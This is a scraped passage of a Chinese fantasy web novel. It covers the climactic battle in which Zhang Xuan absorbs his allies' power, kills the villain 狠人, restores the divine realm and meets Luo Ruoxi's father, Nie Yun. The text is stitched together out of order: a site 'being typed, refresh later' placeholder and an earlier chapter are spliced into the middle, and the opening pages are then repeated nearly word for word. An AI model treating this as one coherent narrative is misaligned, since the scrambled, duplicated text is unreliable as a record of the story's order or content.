自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第二十章 德不配位必遭灾祸 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 